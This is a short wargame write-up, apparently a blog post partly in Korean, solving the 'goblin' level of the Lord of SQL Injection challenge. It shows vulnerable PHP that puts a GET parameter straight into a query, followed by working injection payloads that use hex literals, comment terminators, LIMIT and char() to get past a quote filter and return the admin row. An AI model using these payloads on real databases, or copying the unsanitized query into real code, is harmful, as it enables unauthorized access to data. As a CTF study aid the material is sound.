LOS Lv.3 goblin
goblin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
query : select id from prob_goblin where id='guest' and no=
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
Solution
1
2
By default, a hexadecimal literal is a binary string,
where each pair of hexadecimal digits represents a character:
1
2
3
4
5
6
mysql> SELECT X'4D7953514C', CHARSET(X'4D7953514C');
+---------------+------------------------+
| X'4D7953514C' | CHARSET(X'4D7953514C') |
+---------------+------------------------+
| MySQL | binary |
+---------------+------------------------+
1
2
3
4
5
6
mysql> SELECT 0x5461626c65, CHARSET(0x5461626c65);
+--------------+-----------------------+
| 0x5461626c65 | CHARSET(0x5461626c65) |
+--------------+-----------------------+
| Table | binary |
+--------------+-----------------------+
1
2
3
?no=0 or id=0x61646D696E %23 -> mysql에서 query로 16진수 값이 들어가도 쿼리에서 검색됨.
?no=0 or no != 1 %23 -> db안에 아이디가 2개뿐이라 하면 나머지 값을 가져오면 됨.
?no=0 or 1 limit 1,1 -> 두 번째 행부터 한 개 가져옴.(admin이 두 번쨰에 위치함)
1
다른 풀이 : ?no=0 or id=char(97,100,109,105,110)
1
2
3
4
SELECT * FROM TABLE LIMIT 5; -> 처음부터 5개의 행을 가져옴.
SELECT * FROM TABLE LIMIT 4, 10; -> 5번째부터 10개 가져옴.
// LIMIT 시작점, 갯수 (첫번째 파라미터는 0 부터 시작)
This post is licensed under CC BY 4.0 by the author.